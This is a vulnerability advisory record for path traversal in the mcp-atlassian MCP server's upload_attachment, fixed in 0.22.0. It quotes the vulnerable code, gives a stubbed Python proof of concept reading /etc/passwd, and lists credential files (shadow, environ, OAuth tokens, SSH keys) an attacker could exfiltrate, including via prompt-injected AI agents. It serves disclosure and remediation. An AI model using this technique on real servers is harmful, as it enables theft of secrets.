{"id":"CVE-2026-77266","aliases":["CVE-2026-77266","GHSA-mfv2-4wvm-9pgp","PYSEC-2026-4097"],"related":[],"kind":"vulnerability","state":"published","title":"MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read and exfiltration via MCP tool call","summary":"MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, upload_attachment accepts absolute paths and traversal sequences without constraining the resolved path to the server workspace. An MCP caller with attachment access can read a chosen server-local file and exfiltrate it through Jira or Confluence. The advisory traces the vulnerable input and processing flow through upload_attachment, file_path, and path traversal, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, upload_attachment accepts absolute paths and traversal sequences without constraining the resolved path to the server workspace. An MCP caller with attachment access can read a chosen server-local file and exfiltrate it through Jira or Confluence. The advisory traces the vulnerable input and processing flow through upload_attachment, file_path, and path traversal, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThe `upload_attachment` functions in both the Jira and Confluence modules accept a user-controlled `file_path` parameter and open the specified file for reading **without calling `validate_safe_path()`**. An authenticated MCP client can supply an arbitrary path such as `/etc/passwd` or `/proc/self/environ`, causing the server process to read and transmit the file's contents to the remote Atlassian instance as an attachment.\n\nThis is an **incomplete fix** relative to GHSA-xjgw-4wvw-rgm4: the `download_attachment` and `download_issue_attachments` paths were hardened with `validate_safe_path()`, but the upload direction was left unguarded in both the Jira and Confluence modules.\n\n---\n\n### Details\n\n**Affected functions:**\n\n| File | Function | Line |\n|------|----------|------|\n| `src/mcp_atlassian/jira/attachments.py` | `upload_attachment()` | ~372–415 |\n| `src/mcp_atlassian/confluence/attachments.py` | `upload_attachment()` | ~62–108 |\n| `src/mcp_atlassian/confluence/attachments.py` | `_upload_attachment_direct()` | ~476–477 |\n\n**Jira — vulnerable code path (`jira/attachments.py`):**\n\n```python\ndef upload_attachment(self, issue_key: str, file_path: str) -> dict:\n    ...\n    if not os.path.isabs(file_path):\n        file_path = os.path.abspath(file_path)   # resolves relative paths\n\n    if not os.path.exists(file_path):             # confirms file exists\n        ...\n\n    # ⚠ validate_safe_path() is NEVER called here\n    filename = os.path.basename(file_path)\n    with open(file_path, \"rb\") as file:           #  arbitrary file opened\n        attachment = self.jira.add_attachment(\n            issue_key=issue_key, filename=file_path\n        )\n```\n\nCompare with the **protected** download path in the same file:\n\n```python\ndef download_attachment(self, url: str, target_path: str) -> bool:\n    ...\n    validate_safe_path(target_path)   #   upload has no equivalent\n```\n\n**Confluence — vulnerable code path (`confluence/attachments.py`):**\n\n```python\ndef upload_attachment(self, content_id, file_path, ...):\n    ...\n    if not os.path.isabs(file_path):\n        file_path = os.path.abspath(file_path)\n\n    # ⚠ validate_safe_path() is NEVER called\n    filename = os.path.basename(file_path)\n    attachment = self._upload_attachment_direct(\n        content_id, file_path, filename, comment, minor_edit\n    )\n\n# Inside _upload_attachment_direct():\nfiles = {\"file\": (filename, open(file_path, \"rb\"))}  # ← arbitrary file opened\n```\n\n---\n\n### PoC\n\nTested against commit `d8bc786` (v0.21.1, latest `main`). No real Atlassian credentials required — the API call is stubbed.\n\n**Jira PoC (`poc_001_jira_path_traversal.py`):**\n\n```python\nimport sys, os, types\nfrom unittest.mock import MagicMock\n\nsys.path.insert(0, \"src\")\n\ndef _make_pkg(name):\n    m = types.ModuleType(name); m.__path__ = []; sys.modules[name] = m; return m\n\natlassian_pkg  = _make_pkg(\"atlassian\")\natlassian_jira = _make_pkg(\"atlassian.jira\")\natlassian_pkg.jira = atlassian_jira\natlassian_jira.Jira = type(\"Jira\", (), {\n    \"__init__\": lambda s, *a, **k: None,\n    \"_session\": MagicMock()\n})\natlassian_pkg.Jira = atlassian_jira.Jira\nkeyring = _make_pkg(\"keyring\")\nkeyring.get_password = keyring.set_password = lambda *a, **k: None\n\nfrom mcp_atlassian.jira.attachments import AttachmentsMixin\nfrom mcp_atlassian.jira.config import JiraConfig\n\nconfig = JiraConfig(url=\"https://test.atlassian.net\", auth_type=\"basic\",\n                    username=\"x\", api_token=\"x\")\n\nclass FakeFetcher(AttachmentsMixin):\n    def __init__(self):\n        self.config = config\n        self.jira   = MagicMock()\n        self.jira.add_attachment.return_value = {\"id\": \"99\", \"filename\": \"passwd\"}\n\nresult = FakeFetcher().upload_attachment(issue_key=\"TEST-1\", file_path=\"/etc/passwd\")\nprint(result)\n```\n\n**Observed output — Jira (Kali Linux, v0.21.1):**\n\n<img width=\"1342\" height=\"131\" alt=\"image\" src=\"https://github.com/user-attachments/assets/70f4a55e-428d-4790-80c1-631a24337dbc\" />\n\n```\n[*] Target file : /etc/passwd\n[*] Calling     : AttachmentsMixin.upload_attachment()\n\n[*] Return value: {'success': True, 'issue_key': 'TEST-1', 'filename': 'passwd', 'size': 3388, 'id': '99'}\n[*] Files opened: ['/etc/passwd']\n\n[!!!] VULNERABLE — file opened with no path validation\n      add_attachment call args: call(issue_key='TEST-1', filename='/etc/passwd')\n```\n\n**Observed output — Confluence (Kali Linux, v0.21.1):**\n\n<img width=\"2682\" height=\"576\" alt=\"image\" src=\"https://github.com/user-attachments/assets/17fc641f-6c62-4e3f-87d0-81d6977f5004\" />\n\n```\n[*] Target file : /etc/passwd\n[*] Calling     : ConfluenceAttachmentsMixin.upload_attachment()\n\n[*] Return value: {'success': True, 'content_id': '123456', 'filename': 'passwd', 'size': 3388, 'id': 'att-99'}\n[*] Files opened: ['/etc/passwd']\n\n[!!!] VULNERABLE — /etc/passwd opened without validate_safe_path()\n      upload_attachment() → _upload_attachment_direct() → open(file_path)\n      download_attachment() in same file IS protected — asymmetric fix\n```\n\nKey evidence:\n- `success: True` — no exception raised, no path validation triggered\n- `size: 3388` — `/etc/passwd` was opened and read by `os.path.getsize()`\n- Both modules affected independently — neither Jira nor Confluence has an upload-side guard\n\nIn a live deployment, the file content is streamed directly to the Atlassian API and stored as a visible attachment on the issue or page.\n\n---\n\n### Impact\n\nAny authenticated MCP client — including a compromised AI agent, a prompt-injected session, or a malicious plugin — can read and exfiltrate arbitrary files readable by the server process:\n\n- `/etc/shadow` — system password hashes\n- `/proc/self/environ` — process environment variables (API keys, secrets)\n- `~/.mcp-atlassian/oauth-*.json` — stored OAuth refresh tokens\n- SSH private keys, TLS certificates, application configuration files\n\nNo special privileges beyond standard MCP tool access are required. The vulnerability affects both HTTP-mode (multi-user) and stdio-mode (local) deployments. Both the `jira_upload_attachment` and `confluence_upload_attachment` MCP tools are affected.\n\n**Root cause:** The `validate_safe_path()` utility introduced in GHSA-xjgw-4wvw-rgm4 was applied only to *download* operations. The upload path in both modules was never patched, leaving a symmetric file-read vector open.","format":"markdown","source":"ghsa"}],"published":"2026-09-22T18:30:58.517Z","modified":"2026-10-01T17:55:39.363Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":"< 0.22.0","status":"affected"}],"vendor":"sooperset","product":"mcp-atlassian","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.22.0"}],"ecosystem":"PyPI","package":"mcp-atlassian","purl":"pkg:pypi/mcp-atlassian","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.22.0"}],"vendor":"mcp-atlassian","product":"mcp_atlassian","cpe":"cpe:2.3:a:mcp-atlassian:mcp_atlassian:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.22.0"}],"ecosystem":"PyPI","package":"mcp-atlassian","purl":"pkg:pypi/mcp-atlassian","source":"pysec"}],"references":[{"url":"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-mfv2-4wvm-9pgp","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/sooperset/mcp-atlassian/pull/1448","tags":["issue-tracking","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/sooperset/mcp-atlassian","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/mcp-atlassian","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-mfv2-4wvm-9pgp","tags":["advisory"],"sources":["pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77266","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-09-22T19:06:07.798Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-77266","url":"https://www.cve.org/CVERecord?id=CVE-2026-77266","licence":"CVE Terms of Use","modified":"2026-09-22T19:06:52.718Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-mfv2-4wvm-9pgp","url":"https://github.com/advisories/GHSA-mfv2-4wvm-9pgp","licence":"CC-BY-4.0","modified":"2026-10-01T17:55:39.363Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-77266","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77266","licence":"Public domain","modified":"2026-09-28T13:14:12.170Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-4097","url":"https://osv.dev/vulnerability/PYSEC-2026-4097","licence":"CC-BY-4.0","modified":"2026-10-01T17:45:11.772Z"}],"updatedAt":"2026-11-25T22:59:40.522Z","epss":{"score":0.00442,"percentile":0.40156,"date":"2026-12-01T12:00:22.000Z"}}